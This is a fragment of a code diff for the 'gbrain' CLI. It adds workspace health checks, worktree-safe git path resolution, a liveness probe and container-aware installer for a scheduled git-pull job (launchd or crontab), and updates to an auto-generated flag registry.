// old direct read reported "no push recorded" on every fresh install.
|
||||
const entries = readPushStatuses();
|
||||
if (entries.length > 0) {
|
||||
const { failing } = summarizePushStatuses(entries);
|
||||
if (failing.length > 0) {
|
||||
const s = failing[0]!;
|
||||
const rest = failing.length > 1 ? ` [+${failing.length - 1} more]` : '';
|
||||
return { id, ok: true, warn: true, detail: `last workspace push FAILED (${s.ts ?? 'unknown'}): ${s.reason ?? 'unknown'}${rest} — run \`gbrain sources push --path ${s.repoRoot ?? ws}\`` };
|
||||
}
|
||||
const ok = entries.find((e) => e.ok === true);
|
||||
return { id, ok: true, detail: `last workspace push succeeded (${ok?.ts ?? 'unknown time'})` };
|
||||
}
|
||||
const origin = gitOriginUrl(ws);
|
||||
if (origin) return { id, ok: true, warn: true, detail: 'origin exists but no push recorded yet — run `gbrain sources push` once to prove the persistence path' };
|
||||
@@ -813,7 +908,10 @@ export async function verifyWorkspace(
|
||||
checks.push(checkByteFloors(ws));
|
||||
checks.push(checkSecretScan(ws));
|
||||
checks.push(checkDenyGlobs(ws));
|
||||
checks.push(checkRepoPrivacy(ws));
|
||||
checks.push(await checkRepoPrivacy(ws));
|
||||
checks.push(checkExecutionEnvironment());
|
||||
checks.push(checkMcpJsonHygiene(ws));
|
||||
checks.push(checkHookCarrierOverlap(ws));
|
||||
|
||||
// Round-trip family only makes sense on a reachable engine.
|
||||
if (engineHealthy) {
|
||||
|
||||
@@ -39,6 +39,7 @@ import {
|
||||
import { findResolverFile, RESOLVER_FILENAMES } from './resolver-filenames.ts';
|
||||
import { redactSecretsInText } from './minions/handlers/shell-redact.ts';
|
||||
import { ensureGbrainHome, resolveGbrainHome } from './gbrain-home.ts';
|
||||
import { binaryOnPath } from './execution-env.ts';
|
||||
// Static import → bundled into the --compile binary so the taxonomy never drifts
|
||||
// and needs no runtime skills/ directory.
|
||||
import filingRulesDoc from '../../skills/_brain-filing-rules.json';
|
||||
@@ -312,6 +313,19 @@ function patchResolverFile(repoPath: string, dryRun: boolean): { status: StepSta
|
||||
// ── Local untracked post-commit hook (D9) ───────────────────────────────────
|
||||
|
||||
/** Resolve the active hooks dir (honors a pre-existing core.hooksPath). */
|
||||
/** Worktree-safe path inside the git dir [D6]: `.git` is a FILE in worktrees
|
||||
* and submodules, so any path under it must come from git itself (rev-parse
|
||||
* with the git-path query), never string-joined onto `<repo>/.git/`. */
|
||||
function gitDirPath(repoPath: string, rel: string): string {
|
||||
try {
|
||||
const p = execFileSync('git', ['-C', repoPath, 'rev-parse', '--git-path', rel], {
|
||||
stdio: ['ignore', 'pipe', 'ignore'], timeout: 10_000, env: { ...process.env, ...GIT_ENV },
|
||||
}).toString().trim();
|
||||
if (p) return isAbsolute(p) ? p : join(repoPath, p);
|
||||
} catch { /* fall through to the classic layout */ }
|
||||
return join(repoPath, '.git', rel);
|
||||
}
|
||||
|
||||
function resolveHooksDir(repoPath: string): { dir: string; tracked: boolean } {
|
||||
let hooksPath = '';
|
||||
try {
|
||||
@@ -325,12 +339,12 @@ function resolveHooksDir(repoPath: string): { dir: string; tracked: boolean } {
|
||||
const tracked = !dir.includes(`${join('.git', '')}`) && !dir.endsWith('.git/hooks');
|
||||
return { dir, tracked };
|
||||
}
|
||||
return { dir: join(repoPath, '.git', 'hooks'), tracked: false };
|
||||
return { dir: gitDirPath(repoPath, 'hooks'), tracked: false };
|
||||
}
|
||||
|
||||
/** Ensure a repo-relative path is in .git/info/exclude so our hook stays untracked. */
|
||||
/** Ensure a repo-relative path is in the git exclude file so our hook stays untracked. */
|
||||
function ensureExcluded(repoPath: string, relPath: string): void {
|
||||
const exclude = join(repoPath, '.git', 'info', 'exclude');
|
||||
const exclude = gitDirPath(repoPath, 'info/exclude');
|
||||
try {
|
||||
mkdirSync(dirname(exclude), { recursive: true });
|
||||
let body = existsSync(exclude) ? readFileSync(exclude, 'utf-8') : '';
|
||||
@@ -525,6 +539,65 @@ function launchdPlistPath(sourceId: string): string {
|
||||
return join(process.env.HOME || '', 'Library', 'LaunchAgents', `${cronLabel(sourceId)}.plist`);
|
||||
}
|
||||
|
||||
/** Default scheduled-pull interval — ONE definition (harden + doctor probe). */
|
||||
export const DEFAULT_PULL_INTERVAL_SEC = 1800;
|
||||
|
||||
export interface DurabilityJobStatus {
|
||||
kind: 'launchd' | 'crontab' | 'none';
|
||||
wrapperPresent: boolean;
|
||||
/** Liveness rung [D7]: darwin = launchctl reports the label loaded; linux =
|
||||
* the crontab line exists. undefined = probe unavailable on this host. */
|
||||
live?: boolean;
|
||||
/** Pull log fresher than 2× the interval. undefined = no log yet (fresh
|
||||
* install / never fired) — absence is not evidence of death. */
|
||||
logFresh?: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Presence + LIVENESS of the scheduled-pull job [D7]. Presence-only checks
|
||||
* (existsSync on the plist) certify dead jobs as healthy — the documented
|
||||
* autopilot-status failure mode — so this probes whether the job is actually
|
||||
* loaded/registered and whether its log shows recent life.
|
||||
*/
|
||||
export function durabilityJobStatus(
|
||||
sourceId: string,
|
||||
intervalSec = DEFAULT_PULL_INTERVAL_SEC,
|
||||
platform: NodeJS.Platform = process.platform,
|
||||
): DurabilityJobStatus {
|
||||
const wrapperPresent = existsSync(cronWrapperPath(sourceId));
|
||||
let kind: DurabilityJobStatus['kind'] = 'none';
|
||||
let live: boolean | undefined;
|
||||
if (platform === 'darwin') {
|
||||
if (existsSync(launchdPlistPath(sourceId))) {
|
||||
kind = 'launchd';
|
||||
try {
|
||||
execFileSync('launchctl', ['list', cronLabel(sourceId)], {
|
||||
stdio: 'ignore', timeout: 5_000, env: process.env,
|
||||
});
|
||||
live = true;
|
||||
} catch {
|
||||
live = false; // plist on disk but not loaded — the dead-job shape
|
||||
}
|
||||
}
|
||||
} else if (binaryOnPath('crontab')) {
|
||||
try {
|
||||
const tab = execSync('crontab -l 2>/dev/null', { encoding: 'utf-8', env: process.env });
|
||||
if (tab.includes(cronLabel(sourceId))) {
|
||||
kind = 'crontab';
|
||||
live = true; // the line exists; cron itself is the OS's liveness domain
|
||||
}
|
||||
} catch { /* no crontab for this user */ }
|
||||
}
|
||||
let logFresh: boolean | undefined;
|
||||
try {
|
||||
const log = join(process.env.HOME || '', '.gbrain', 'brain-pull.log');
|
||||
if (existsSync(log)) {
|
||||
logFresh = Date.now() - statSync(log).mtimeMs <= 2 * intervalSec * 1000;
|
||||
}
|
||||
} catch { /* leave undefined */ }
|
||||
return { kind, wrapperPresent, ...(live !== undefined ? { live } : {}), ...(logFresh !== undefined ? { logFresh } : {}) };
|
||||
}
|
||||
|
||||
/** Pure cron-wrapper renderer (DB-free pull; secret-free — sources the shell
|
||||
* profile rather than baking keys in). Exported for tests. */
|
||||
export function renderCronWrapper(sourceId: string, repoPath: string, branch: string, cli: string, logPath: string): string {
|
||||
@@ -534,9 +607,12 @@ export function renderCronWrapper(sourceId: string, repoPath: string, branch: st
|
||||
# Sources the shell profile for secrets, then runs the hardened, DB-free pull.
|
||||
[ -f ~/.zshenv ] && source ~/.zshenv 2>/dev/null
|
||||
source ~/.zshrc 2>/dev/null || source ~/.bashrc 2>/dev/null || true
|
||||
# Self-disable if the captured checkout is gone (rename/relocation).
|
||||
if [ ! -d '${q(repoPath)}/.git' ]; then
|
||||
echo "$(date -u +%FT%TZ) [cron] path gone, skipping: ${q(repoPath)}" >> "${q(logPath)}" 2>/dev/null || true
|
||||
# Self-disable when the captured checkout is no longer a git working tree:
|
||||
# gone, OR its path reused by a non-git directory. git rev-parse recognizes
|
||||
# both the classic .git-dir layout AND worktrees/submodules (where the git
|
||||
# marker is a FILE), so a bare dir test would wrongly disable a live worktree.
|
||||
if ! git -C '${q(repoPath)}' rev-parse --is-inside-work-tree >/dev/null 2>&1; then
|
||||
echo "$(date -u +%FT%TZ) [cron] not a git work tree, skipping: ${q(repoPath)}" >> "${q(logPath)}" 2>/dev/null || true
|
||||
exit 0
|
||||
fi
|
||||
exec '${q(cli)}' sources pull --path '${q(repoPath)}' --branch '${q(branch)}'
|
||||
@@ -566,10 +642,30 @@ export function generateBrainPullPlist(label: string, wrapperPath: string, home:
|
||||
</plist>`;
|
||||
}
|
||||
|
||||
function installDurabilityCron(sourceId: string, repoPath: string, branch: string, intervalSec: number, dryRun: boolean): { status: StepStatus; detail: string } {
|
||||
export function installDurabilityCron(
|
||||
sourceId: string,
|
||||
repoPath: string,
|
||||
branch: string,
|
||||
intervalSec: number,
|
||||
dryRun: boolean,
|
||||
platform: NodeJS.Platform = process.platform,
|
||||
): { status: StepStatus; detail: string } {
|
||||
// Probe FIRST [D-cloud/B2]: containers and cloud sandboxes ship without
|
||||
// crontab, and that is EXPECTED there — the honest answer is a skip that
|
||||
// names what still covers persistence, not a needs_attention that reads
|
||||
// like a bug (and no wrapper file is written for a job that can't exist).
|
||||
if (platform !== 'darwin' && !binaryOnPath('crontab')) {
|
||||
return {
|
||||
status: 'skipped',
|
||||
detail:
|
||||
'no crontab on this host (container/cloud sandbox) — scheduled pull skipped; ' +
|
||||
'the post-commit auto-push and per-turn/session-end pushes cover persistence here. ' +
|
||||
'Run `gbrain sources harden <id>` on a persistent machine to add the scheduled pull.',
|
||||
};
|
||||
}
|
||||
const wrapper = dryRun ? cronWrapperPath(sourceId) : writeCronWrapper(sourceId, repoPath, branch);
|
||||
const home = process.env.HOME || '';
|
||||
if (process.platform === 'darwin') {
|
||||
if (platform === 'darwin') {
|
||||
const plistPath = launchdPlistPath(sourceId);
|
||||
if (dryRun) return { status: 'fixed', detail: `would install launchd ${cronLabel(sourceId)} every ${intervalSec}s (dry-run)` };
|
||||
mkdirSync(dirname(plistPath), { recursive: true });
|
||||
@@ -583,12 +679,15 @@ function installDurabilityCron(sourceId: string, repoPath: string, branch: strin
|
||||
const marker = `# ${cronLabel(sourceId)}`;
|
||||
const cronLine = `*/${minutes} * * * * ${wrapper} ${marker}`;
|
||||
if (dryRun) return { status: 'fixed', detail: `would install crontab (every ${minutes}m) (dry-run)` };
|
||||
// env: process.env on both calls — Bun otherwise resolves `crontab` against
|
||||
// the STARTUP env snapshot, making runtime PATH changes (and PATH-shimmed
|
||||
// test fakes) invisible (the workspace-push.ts / status.ts precedent).
|
||||
let existingCron = '';
|
||||
try { existingCron = execSync('crontab -l 2>/dev/null', { encoding: 'utf-8' }); } catch { /* none */ }
|
||||
try { existingCron = execSync('crontab -l 2>/dev/null', { encoding: 'utf-8', env: process.env }); } catch { /* none */ }
|
||||
const kept = existingCron.split('\n').filter(l => l && !l.includes(marker));
|
||||
const next = [...kept, cronLine, ''].join('\n');
|
||||
try {
|
||||
execSync('crontab -', { input: next, stdio: ['pipe', 'ignore', 'ignore'] });
|
||||
execSync('crontab -', { input: next, stdio: ['pipe', 'ignore', 'ignore'], env: process.env });
|
||||
return { status: 'fixed', detail: `crontab every ${minutes}m` };
|
||||
} catch (e) {
|
||||
return { status: 'needs_attention', detail: `crontab install failed: ${(e as Error).message.slice(0, 120)}` };
|
||||
@@ -701,7 +800,7 @@ export async function hardenBrainRepo(opts: HardenOpts): Promise<DurabilityRepor
|
||||
const dryRun = !!opts.dryRun;
|
||||
const installCron = opts.installCron !== false;
|
||||
const verify = opts.verify !== false;
|
||||
const intervalSec = opts.intervalSec ?? 1800;
|
||||
const intervalSec = opts.intervalSec ?? DEFAULT_PULL_INTERVAL_SEC;
|
||||
const redact = opts.pat ? (s: string) => redactSecretsInText(s, new Map([['github_pat', opts.pat!]])) : (s: string) => s;
|
||||
const log = (l: string) => opts.logger?.(redact(l));
|
||||
|
||||
|
||||
@@ -17,7 +17,7 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
|
||||
'backfill': ['--aliases', '--all', '--batch-size', '--brain', '--concurrency', '--dry-run', '--fresh', '--help', '--include-null-signature', '--json', '--keep-index', '--list', '--max-errors', '--max-rows', '--no-extract', '--pattern', '--pending', '--reset', '--resolve', '--resume', '--source', '--stale', '--supersessions', '--thin'],
|
||||
'bench': ['--baseline', '--brain', '--explain', '--force', '--from', '--help', '--json', '--label', '--lang', '--limit', '--markdown', '--multimodal', '--near-symbol', '--restore-only', '--source', '--stale', '--symbol-kind', '--thin', '--threshold-jaccard', '--threshold-latency-multiplier', '--threshold-top1', '--to', '--tool'],
|
||||
'book-mirror': ['--aliases', '--all', '--allow-empty', '--apply', '--asof', '--author', '--auto', '--background', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--brain-wide-max-cost-usd', '--budget-usd-per-day', '--by-mention', '--chapters-dir', '--content', '--context-file', '--date', '--days', '--dry-run', '--entities', '--explain', '--fast', '--federated', '--file', '--follow', '--force', '--from-pages', '--help', '--http', '--image', '--include-null-signature', '--json', '--kind', '--limit', '--max-turns', '--max-usd', '--mode', '--model', '--multimodal', '--no-confirm', '--no-embedding', '--no-extract', '--no-follow', '--offset', '--path', '--pattern', '--pending', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--reset', '--resolve', '--save', '--session', '--session-id', '--since', '--slug', '--slugs', '--source', '--stale', '--stats', '--supersessions', '--surface', '--thin', '--timeout', '--timeout-ms', '--title', '--trusted-extraction', '--url', '--with-db', '--yes'],
|
||||
'bootstrap': ['--abbrev-ref', '--abort', '--accept-visibility-change-consequences', '--all', '--brain', '--branch', '--cached', '--compile', '--confirm', '--delete-brain', '--env', '--exclude-standard', '--fast', '--file', '--flag', '--force', '--from-pages', '--full', '--gbrain-bin', '--get', '--git-dir', '--harness', '--heads', '--help', '--home', '--http', '--init', '--isolated', '--jq', '--json', '--local', '--minimal', '--name-only', '--no-cron', '--no-embedding', '--no-hooks', '--no-verify', '--once', '--only', '--others', '--pat-file', '--path', '--pglite', '--porcelain', '--private', '--push', '--push-only', '--quiet', '--rebase', '--repair', '--scope', '--set', '--short', '--show', '--show-toplevel', '--skip', '--source', '--status', '--surface', '--unset-all', '--verify', '--version', '--visibility', '--workspace', '--yes'],
|
||||
'bootstrap': ['--abbrev-ref', '--abort', '--accept-visibility-change-consequences', '--all', '--allow-unverified-remote', '--brain', '--branch', '--cached', '--compile', '--confirm', '--count', '--delete-brain', '--diff-filter', '--env', '--error-unmatch', '--exclude-standard', '--fast', '--file', '--flag', '--force', '--from-pages', '--full', '--gbrain-bin', '--get', '--git-dir', '--git-path', '--harness', '--heads', '--help', '--home', '--http', '--init', '--is-inside-work-tree', '--isolated', '--jq', '--json', '--local', '--minimal', '--name-only', '--no-cron', '--no-embedding', '--no-hooks', '--no-verify', '--once', '--only', '--others', '--pat-file', '--path', '--pglite', '--porcelain', '--private', '--push', '--push-only', '--quiet', '--rebase', '--repair', '--scope', '--set', '--short', '--show', '--show-toplevel', '--skip', '--source', '--status', '--surface', '--unset-all', '--verify', '--version', '--visibility', '--workspace', '--yes'],
|
||||
'brainstorm': ['--aliases', '--all', '--brain', '--chunker-debug', '--code', '--compile', '--fast', '--fix', '--force', '--force-rechunk', '--force-resume', '--from-pages', '--full', '--help', '--http', '--include-null-signature', '--json', '--judge-model', '--lang', '--limit', '--list-runs', '--markdown', '--max-cost', '--max-far-set', '--max-ideas-per-judge-call', '--model', '--no-embed', '--no-embedding', '--no-extract', '--no-save', '--pattern', '--pending', '--reset', '--resolve', '--resume', '--retry-failed', '--retry-judge', '--save', '--source', '--stale', '--strict-budget', '--supersessions', '--surface', '--thin', '--timeout', '--yes'],
|
||||
'cache': ['--brain', '--fast', '--force', '--from-pages', '--help', '--http', '--json', '--no-embedding', '--source', '--surface', '--yes'],
|
||||
'calibration': ['--ab', '--aliases', '--all', '--allow-empty', '--apply', '--asof', '--auto', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--budget-usd-per-day', '--by-mention', '--content', '--date', '--days', '--dry-run', '--entities', '--explain', '--fast', '--federated', '--file', '--follow', '--force', '--from-pages', '--help', '--holder', '--http', '--image', '--include-null-signature', '--json', '--key-prefix', '--kind', '--lang', '--limit', '--markdown', '--max-usd', '--mode', '--multimodal', '--near-symbol', '--no-embedding', '--no-extract', '--no-federated', '--offset', '--path', '--pattern', '--pending', '--phase', '--progress-interval', '--progress-json', '--quiet', '--regenerate', '--repo', '--reset', '--resolve', '--restore-only', '--save', '--scrub-gstack', '--session', '--session-id', '--since', '--slug', '--slugs', '--source', '--stale', '--stats', '--supersessions', '--surface', '--symbol-kind', '--thin', '--trusted-extraction', '--undo-wave', '--url', '--with-calibration', '--with-db', '--yes'],
|
||||
@@ -34,7 +34,7 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
|
||||
'config': ['--aliases', '--all', '--brain', '--column', '--coverage-override', '--embedding-dimensions', '--embedding-model', '--fast', '--federated-read', '--follow', '--force', '--from-pages', '--help', '--http', '--include-null-signature', '--json', '--markdown', '--model', '--multimodal', '--no-embedding', '--no-extract', '--pattern', '--pending', '--pglite', '--reset', '--resolve', '--source', '--stale', '--supersessions', '--surface', '--thin', '--yes'],
|
||||
'connect': ['--agent', '--bearer-token-env-var', '--bind', '--brain', '--client-id', '--client-secret', '--force', '--grant-types', '--help', '--http', '--install', '--json', '--name', '--oauth', '--public-url', '--register', '--scopes', '--show-token', '--source', '--timeout-ms', '--token', '--token-endpoint-auth-method', '--url', '--version', '--yes'],
|
||||
'conversation-parser': ['--aliases', '--all', '--brain', '--help', '--include-null-signature', '--json', '--no-extract', '--pattern', '--pending', '--reset', '--resolve', '--source', '--stale', '--supersessions', '--thin'],
|
||||
'doctor': ['--ab', '--abi', '--aliases', '--all', '--allow-shell-jobs', '--auto', '--auto-fix', '--auto-update', '--background', '--batch', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--build-index', '--by-mention', '--by-type', '--check', '--column', '--compile', '--concurrency', '--confidence', '--confirm', '--content-audit', '--count', '--days', '--delete-brain', '--detach', '--dim', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--exclusive', '--explain', '--fast', '--fix', '--follow', '--force', '--force-break-lock', '--force-retry', '--force-schema', '--format', '--fresh', '--from-meetings', '--from-pages', '--full', '--grant-types', '--harness', '--health-interval', '--help', '--history', '--home', '--http', '--include-flagged', '--include-frontmatter', '--include-null-signature', '--include-pseudo', '--index-audit', '--init', '--input', '--jq', '--json', '--lang', '--limit', '--locks', '--markdown', '--max-age', '--max-cost', '--max-cost-usd', '--max-crashes', '--max-jobs', '--max-rss', '--max-usd', '--mcp-only', '--migrate-only', '--model', '--multimodal', '--name-only', '--name-status', '--near-symbol', '--nice', '--no', '--no-embed', '--no-embedding', '--no-extract', '--no-mutate', '--oauth-client-secret', '--older-than', '--once', '--overwrite', '--parallel', '--params', '--path', '--pattern', '--pending', '--pglite', '--phase', '--pid-file', '--porcelain', '--priority', '--progress-interval', '--progress-json', '--query', '--queue', '--quiet', '--rebuild-rollup', '--refresh', '--refresh-unqualified', '--regenerate', '--remediate', '--remediation-plan', '--repo', '--reset', '--resolve', '--restore-only', '--resume', '--review-lower', '--rollback', '--scope', '--scopes', '--set', '--show-toplevel', '--since', '--skills-dir', '--skip-bare-tweet', '--skip-failed', '--skip-urls', '--skip-verify', '--slugs', '--source', '--source-id', '--stale', '--stats', '--status', '--strategy', '--strict', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--target', '--target-score', '--thin', '--timeout', '--to', '--top-k', '--type', '--undo-wave', '--unsafe-bypass-dream-guard', '--untracked-files', '--url', '--use-captured-snapshot', '--verbose', '--verify', '--version', '--window', '--with-calibration', '--workers', '--yes'],
|
||||
'doctor': ['--ab', '--abbrev-ref', '--abi', '--abort', '--aliases', '--all', '--allow-shell-jobs', '--allow-unverified-remote', '--auto', '--auto-fix', '--auto-update', '--background', '--batch', '--brain', '--brain-wide-max-cost-usd', '--branch', '--break-lock', '--build-index', '--by-mention', '--by-type', '--cached', '--check', '--column', '--compile', '--concurrency', '--confidence', '--confirm', '--content-audit', '--count', '--days', '--delete-brain', '--detach', '--diff-filter', '--dim', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--exclude-standard', '--exclusive', '--explain', '--fast', '--file', '--fix', '--follow', '--force', '--force-break-lock', '--force-retry', '--force-schema', '--format', '--fresh', '--from-meetings', '--from-pages', '--full', '--get', '--git-dir', '--git-path', '--grant-types', '--harness', '--health-interval', '--help', '--history', '--home', '--http', '--include-flagged', '--include-frontmatter', '--include-null-signature', '--include-pseudo', '--index-audit', '--init', '--input', '--is-inside-work-tree', '--jq', '--json', '--lang', '--limit', '--local', '--locks', '--markdown', '--max-age', '--max-cost', '--max-cost-usd', '--max-crashes', '--max-jobs', '--max-rss', '--max-usd', '--mcp-only', '--migrate-only', '--model', '--multimodal', '--name-only', '--name-status', '--near-symbol', '--nice', '--no', '--no-cron', '--no-embed', '--no-embedding', '--no-extract', '--no-mutate', '--no-verify', '--oauth-client-secret', '--older-than', '--once', '--others', '--overwrite', '--parallel', '--params', '--pat-file', '--path', '--pattern', '--pending', '--pglite', '--phase', '--pid-file', '--porcelain', '--priority', '--progress-interval', '--progress-json', '--push-only', '--query', '--queue', '--quiet', '--rebase', '--rebuild-rollup', '--refresh', '--refresh-unqualified', '--regenerate', '--remediate', '--remediation-plan', '--repo', '--reset', '--resolve', '--restore-only', '--resume', '--review-lower', '--rollback', '--scope', '--scopes', '--set', '--short', '--show-current', '--show-toplevel', '--since', '--skills-dir', '--skip-bare-tweet', '--skip-failed', '--skip-urls', '--skip-verify', '--slugs', '--source', '--source-id', '--stale', '--stats', '--status', '--strategy', '--strict', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--target', '--target-score', '--thin', '--timeout', '--to', '--top-k', '--type', '--undo-wave', '--unsafe-bypass-dream-guard', '--unset-all', '--untracked-files', '--url', '--use-captured-snapshot', '--verbose', '--verify', '--version', '--window', '--with-calibration', '--workers', '--yes'],
|
||||
'dream': ['--against', '--aliases', '--all', '--allow-regression', '--anchor', '--asof', '--background', '--batch', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--budget-usd', '--budget-usd-answer', '--budget-usd-retrieval', '--by-type', '--by-type-floor', '--code', '--committed-baseline', '--compare', '--compile', '--concurrent', '--ctx-size', '--cycles', '--date', '--dimensions', '--dir', '--drain', '--dry-run', '--embedding-dimensions', '--embedding-model', '--embeddings', '--expansion', '--explain', '--fast', '--federated', '--fix', '--fixtures', '--follow', '--force', '--force-break-lock', '--force-rechunk', '--force-retry', '--format', '--from', '--from-db', '--from-pages', '--gold', '--harness', '--help', '--http', '--include-holdout', '--include-null-signature', '--input', '--install', '--json', '--judge-model', '--justification', '--keyword-only', '--lang', '--limit', '--llm', '--markdown', '--max-age', '--max-cost', '--max-cost-usd', '--max-runtime', '--max-tokens', '--max-usd', '--mcp-only', '--min-recall', '--mode', '--model', '--models', '--modes', '--multimodal', '--name', '--name-only', '--near-symbol', '--no', '--no-embed', '--no-embedding', '--no-extract', '--no-federated', '--no-llm', '--no-mutate', '--no-trajectory', '--once', '--out', '--output', '--output-dir', '--parallel', '--path', '--pattern', '--pending', '--pglite', '--phase', '--priority', '--progress-interval', '--progress-json', '--pull', '--quiet', '--receipt-dir', '--remediate', '--repo', '--reranking', '--reset', '--resolve', '--restore-only', '--resume-from', '--retrieval-only', '--rounds', '--rubric-version', '--save', '--seed', '--short', '--show-toplevel', '--since', '--skip-replay', '--slot-a-model', '--slot-b-model', '--slot-c-model', '--slug', '--slug-prefix', '--source', '--source-id', '--stale', '--suite', '--suites', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--take', '--task', '--thin', '--threshold', '--timeout', '--to', '--top-k', '--undo', '--unsafe-bypass-dream-guard', '--update-baseline', '--verify', '--version', '--window', '--yes'],
|
||||
'edges-backfill': ['--aliases', '--all', '--all-sources', '--brain', '--concurrency', '--federated', '--help', '--include-null-signature', '--json', '--max-age', '--max-chunks', '--max-cost-usd', '--no-extract', '--no-federated', '--older-than', '--path', '--pattern', '--pending', '--repo', '--reset', '--resolve', '--restore-only', '--source', '--stale', '--supersessions', '--thin', '--timeout', '--workers'],
|
||||
'embed': ['--aliases', '--all', '--background', '--batch-size', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--catch-up', '--dry-run', '--embedding-dimensions', '--embedding-model', '--explain', '--fast', '--fix', '--follow', '--force', '--force-break-lock', '--from-pages', '--help', '--http', '--include-null-signature', '--json', '--lang', '--markdown', '--max-age', '--max-cost-usd', '--model', '--multimodal', '--name', '--near-symbol', '--no', '--no-embed', '--no-embedding', '--no-extract', '--pace', '--pace-max-concurrency', '--parallel', '--path', '--pattern', '--pending', '--pglite', '--prefix', '--priority', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--reset', '--resolve', '--restore-only', '--serial', '--slugs', '--source', '--stale', '--supabase', '--supersessions', '--surface', '--symbol-kind', '--thin', '--timeout', '--version'],
|
||||
@@ -50,7 +50,7 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
|
||||
'friction': ['--agent', '--brain', '--help', '--hint', '--json', '--kind', '--message', '--no-redact', '--phase', '--redact', '--run-id', '--severity', '--source', '--transcript-path', '--transcripts'],
|
||||
'frontmatter': ['--aliases', '--all', '--allow-catch-all', '--brain', '--cached', '--diff-filter', '--dry-run', '--exclude-standard', '--fast', '--fix', '--force', '--from-pages', '--get', '--help', '--http', '--include-catch-all', '--include-null-signature', '--json', '--name-only', '--name-status', '--no-embedding', '--no-extract', '--no-verify', '--others', '--pattern', '--pending', '--reset', '--resolve', '--source', '--stale', '--strategy', '--supersessions', '--surface', '--thin', '--timeout', '--uninstall', '--write-back'],
|
||||
'graph-query': ['--aliases', '--all', '--brain', '--depth', '--direction', '--explain', '--fast', '--force', '--from-pages', '--help', '--http', '--include-foreign', '--include-null-signature', '--json', '--lang', '--markdown', '--mcp-only', '--multimodal', '--near-symbol', '--no-embedding', '--no-extract', '--pattern', '--pending', '--reset', '--resolve', '--restore-only', '--source', '--stale', '--supersessions', '--surface', '--symbol-kind', '--thin', '--timeout', '--type'],
|
||||
'hook': ['--aliases', '--all', '--batch-limit', '--brain', '--budget-ms', '--count', '--delete-brain', '--detach', '--env', '--fast', '--force', '--from-pages', '--harness', '--help', '--http', '--include-null-signature', '--json', '--no-embedding', '--no-extract', '--once', '--path', '--pattern', '--pending', '--porcelain', '--reset', '--resolve', '--show-toplevel', '--source', '--stale', '--stats', '--supersessions', '--surface', '--thin', '--timeout'],
|
||||
'hook': ['--aliases', '--all', '--allow-unverified-remote', '--batch-limit', '--brain', '--budget-ms', '--cached', '--count', '--delete-brain', '--detach', '--diff-filter', '--end-of-options', '--env', '--exclude-standard', '--fast', '--force', '--from-pages', '--get', '--harness', '--help', '--http', '--include-null-signature', '--jq', '--json', '--name-only', '--no-embedding', '--no-extract', '--once', '--others', '--path', '--pattern', '--pending', '--porcelain', '--quiet', '--reset', '--resolve', '--show-current', '--show-toplevel', '--source', '--stale', '--stats', '--supersessions', '--surface', '--thin', '--timeout'],
|
||||
'import': ['--aliases', '--all', '--asof', '--background', '--brain', '--brain-wide-max-cost-usd', '--by-mention', '--cached', '--code', '--compile', '--concurrency', '--embedding-dimensions', '--embedding-model', '--exclude', '--exclude-standard', '--explain', '--fast', '--federated', '--fix', '--follow', '--force', '--force-rechunk', '--fresh', '--from-pages', '--full', '--help', '--http', '--include-gitignored', '--include-null-signature', '--json', '--lang', '--markdown', '--max-age', '--multimodal', '--name-status', '--no-embed', '--no-embedding', '--no-extract', '--no-federated', '--older-than', '--others', '--path', '--pattern', '--pending', '--pglite', '--priority', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--repo', '--reset', '--resolve', '--respect-gitignore', '--restore-only', '--since', '--skip-failed', '--source', '--source-id', '--stale', '--strategy', '--supabase', '--supersessions', '--surface', '--thin', '--timeout', '--url', '--workers'],
|
||||
'init': ['--all', '--brain', '--chat-model', '--check', '--ctx-size', '--embedding-dimensions', '--embedding-model', '--entity', '--expansion-model', '--fast', '--force', '--from-pages', '--grant-types', '--help', '--http', '--issuer-url', '--json', '--judge-model', '--key', '--mcp-only', '--mcp-url', '--migrate-only', '--model', '--multimodal', '--no', '--no-embed', '--no-embedding', '--non-interactive', '--oauth-client-id', '--oauth-client-secret', '--path', '--pglite', '--provenance', '--schema-pack', '--scopes', '--skip-embed-check', '--source', '--stale', '--supabase', '--surface', '--target', '--to', '--touchpoint', '--url', '--version'],
|
||||
'integrations': ['--auto', '--brain', '--dry-run', '--embeddings', '--fast', '--force', '--from-pages', '--help', '--http', '--json', '--no-embedding', '--overwrite', '--refresh', '--reranking', '--source', '--surface', '--target'],
|
||||
@@ -82,7 +82,7 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
|
||||
'remote': ['--all', '--background', '--brain', '--break-lock', '--by-mention', '--column', '--concurrency', '--content-audit', '--count', '--detach', '--dim', '--dir', '--drain', '--embedding-dimensions', '--embedding-model', '--fast', '--fix', '--force', '--force-retry', '--force-schema', '--from-pages', '--full', '--help', '--http', '--include-flagged', '--index-audit', '--json', '--locks', '--markdown', '--max-cost', '--max-cost-usd', '--max-jobs', '--max-rss', '--max-usd', '--mcp-only', '--migrate-only', '--multimodal', '--nice', '--no-embedding', '--older-than', '--parallel', '--params', '--path', '--pglite', '--phase', '--pid-file', '--porcelain', '--progress-json', '--query', '--queue', '--rebuild-rollup', '--regenerate', '--remediate', '--remediation-plan', '--reset', '--resume', '--scope', '--scopes', '--since', '--skills-dir', '--skip-failed', '--slugs', '--source', '--source-id', '--stale', '--status', '--supabase', '--surface', '--target', '--target-score', '--timeout', '--to', '--top-k', '--url', '--window', '--workers', '--yes'],
|
||||
